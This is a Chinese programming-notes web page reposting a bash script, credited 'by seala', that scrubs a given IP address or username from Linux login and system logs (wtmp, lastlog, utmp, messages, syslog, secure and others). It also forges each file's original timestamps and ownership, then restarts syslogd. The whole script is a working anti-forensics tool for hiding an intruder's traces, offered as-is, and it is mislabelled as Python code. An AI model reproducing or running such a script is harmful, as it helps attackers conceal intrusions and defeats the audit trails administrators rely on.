热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

linux清除日志的脚本

linux清除日志的脚本Python代码www.2cto.com#!/bin/bashecho"linuxclearlog"echo"byseala"echo""echo"ClearlogrootorClearlogIP"#...

linux清除日志的脚本
 
Python代码 www.2cto.com  
#!/bin/bash  
echo " linux clear log "  
echo " by seala"  
echo "==============================="  
echo "Clearlog root  or Clearlog IP "  
# chmod 777 log  
# ./log xx.xx.xx.xx And ./log root  
if [ -f "/var/log/wtmp" ];then  
cat /var/log/wtmp | grep -v $1 >> /var/log/temp1;  
chgrp --reference /var/log/wtmp /var/log/temp1;  
chown --reference /var/log/wtmp /var/log/temp1;  
touch -r /var/log/wtmp /var/log/temp1;  
mv -f /var/log/temp1 /var/log/wtmp;  
fi  
  
if [ -f "/var/log/lastlog" ];then  
cat /var/log/lastlog |grep -v $1 >> /var/log/temp2;  
chgrp --reference /var/log/lastlog /var/log/temp2;  
chown --reference /var/log/lastlog /var/log/temp2;  
touch -r /var/log/lastlog /var/log/temp2;  
mv -f /var/log/temp2 /var/log/lastlog;  
fi  
  
if [ -f "/var/log/messages" ];then  
cat /var/log/messages | grep -v $1 >> /var/log/temp3;  
chgrp --reference /var/log/messages /var/log/temp3;  
chown --reference /var/log/messages /var/log/temp3;  
touch -r /var/log/messages /var/log/temp3;  
mv -f /var/log/temp3 /var/log/messages;  
fi  
  
if [ -f "/var/log/utmp" ];then  
cat /var/log/utmp | grep -v $1 >> /var/log/temp4;  
chgrp --reference /var/log/utmp /var/log/temp4;  
chown --reference /var/log/utmp /var/log/temp4;  
touch -r /var/log/utmp /var/log/temp4;  
mv -f /var/log/temp4 /var/log/utmp;  
fi  
  
if [ -f "/var/log/wtmpx" ];then  
cat /var/log/wtmpx | grep -v $1 >> /var/log/temp5;  
chgrp --reference /var/log/wtmpx /var/log/temp5;  
chown --reference /var/log/wtmpx /var/log/temp5;  
touch -r /var/log/wtmpx /var/log/temp5;  
mv -f /var/log/temp5 /var/log/wtmpx;  
fi  
  
 if [ -f "/var/log/utmpx" ];then  
cat /var/log/utmpx | grep -v $1 >> /var/log/temp6;  
chgrp --reference /var/log/utmpx /var/log/temp6;  
chown --reference /var/log/utmpx /var/log/temp6;  
touch -r /var/log/utmpx /var/log/temp6;  
mv -f /var/log/temp6 /var/log/utmpx;  
fi  
  
if [ -f "/var/log/syslog" ];then  
cat /var/log/syslog | grep -v $1 >> /var/log/temp7;  
chgrp --reference /var/log/syslog /var/log/temp7;  
chown --reference /var/log/syslog /var/log/temp7;  
touch -r /var/log/syslog /var/log/temp7;  
mv -f /var/log/temp7 /var/log/syslog;  
fi  
  
if [ -f "/var/log/secure" ];then  
cat /var/log/secure | grep -v $1 >> /var/log/temp8;  
chgrp --reference /var/log/secure /var/log/temp8;  
chown --reference /var/log/secure /var/log/temp8;  
touch -r /var/log/secure /var/log/temp8;  
mv -f /var/log/temp8 /var/log/secure;  
fi   
  
/usr/bin/killall -HUP syslogd;  
echo "Clear log is success!"  
 

推荐阅读
  • Python语法上的区别及注意事项
    本文介绍了Python2x和Python3x在语法上的区别,包括print语句的变化、除法运算结果的不同、raw_input函数的替代、class写法的变化等。同时还介绍了Python脚本的解释程序的指定方法,以及在不同版本的Python中如何执行脚本。对于想要学习Python的人来说,本文提供了一些注意事项和技巧。 ... [详细]
  • 对于一般的扩展包,我们一般直接pipinstallxxx即可安装,但是unrar直接安装后,发现并不能通过Python程序实现解压的功能& ... [详细]
  • 计算机存储系统的层次结构及其优势
    本文介绍了计算机存储系统的层次结构,包括高速缓存、主存储器和辅助存储器三个层次。通过分层存储数据可以提高程序的执行效率。计算机存储系统的层次结构将各种不同存储容量、存取速度和价格的存储器有机组合成整体,形成可寻址存储空间比主存储器空间大得多的存储整体。由于辅助存储器容量大、价格低,使得整体存储系统的平均价格降低。同时,高速缓存的存取速度可以和CPU的工作速度相匹配,进一步提高程序执行效率。 ... [详细]
  • 本文介绍了Linux Shell中括号和整数扩展的使用方法,包括命令组、命令替换、初始化数组以及算术表达式和逻辑判断的相关内容。括号中的命令将会在新开的子shell中顺序执行,括号中的变量不能被脚本余下的部分使用。命令替换可以用于将命令的标准输出作为另一个命令的输入。括号中的运算符和表达式符合C语言运算规则,可以用在整数扩展中进行算术计算和逻辑判断。 ... [详细]
  • 树莓派语音控制的配置方法和步骤
    本文介绍了在树莓派上实现语音控制的配置方法和步骤。首先感谢博主Eoman的帮助,文章参考了他的内容。树莓派的配置需要通过sudo raspi-config进行,然后使用Eoman的控制方法,即安装wiringPi库并编写控制引脚的脚本。具体的安装步骤和脚本编写方法在文章中详细介绍。 ... [详细]
  • 本文总结了Linux下多线程执行shell脚本的4种方法,包括切换到工作目录执行、使用绝对路径执行、直接使用bash或sh执行。同时介绍了为什么需要加上"./"来执行脚本的原因。 ... [详细]
  • 程序员如何选择机械键盘轴体?红轴和茶轴对比
    本文介绍了程序员如何选择机械键盘轴体,特别是红轴和茶轴的对比。同时还介绍了U盘安装Linux镜像的步骤,以及在Linux系统中安装软件的命令行操作。此外,还介绍了nodejs和npm的安装方法,以及在VSCode中安装和配置常用插件的方法。最后,还介绍了如何在GitHub上配置SSH密钥和git的基本配置。 ... [详细]
  • systemd-nspawn可以创建最轻量级的容器(ns的意思就是namespace),本文的实验平台是Ubuntu16.04,x86_64机器。本文的目的是:在Ubuntu中用syst ... [详细]
  • 1、DashAPI文档Dash是一个API文档浏览器,使用户可以使用离线功能即时搜索无数API。程序员使用Dash可访问iOS,MacOS, ... [详细]
  • Docker安装Rabbitmq(配合宝塔)
    篇首语:本文由编程笔记#小编为大家整理,主要介绍了Docker安装Rabbitmq(配合宝塔)相关的知识,希望对你有一定的参考价值。一、事前准备 ... [详细]
  • DeaDBeeF(音频播放器)v1.8.0官方PC版
      DeaDBeeF音频播放器是一款来自国外的强大音乐播放软件,使用这款完全中文的DeaDBeeF音频播放器可以让你随时编辑本地的音乐文件标签和属性,根据不同的音乐文件配置不同的音色输出 ... [详细]
  • #-*-coding:utf-8-*-print(upython与开源QGis课题研究组)#print(汉字)##创建矢量数据文件#try:fromosgeoimporto ... [详细]
  • 本文目录一览:1、\mysybase.dump对数据库正常使用有影响吗 ... [详细]
  • xmake-ftmpxxx.luaxmake--filexxx.lua最简单:--添加名为demo的目标到工程target(demo)--设置目标程序类型为二进制,一般为 ... [详细]
  • 我是这么写的, ... [详细]
author-avatar
mobiledu2502917953
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有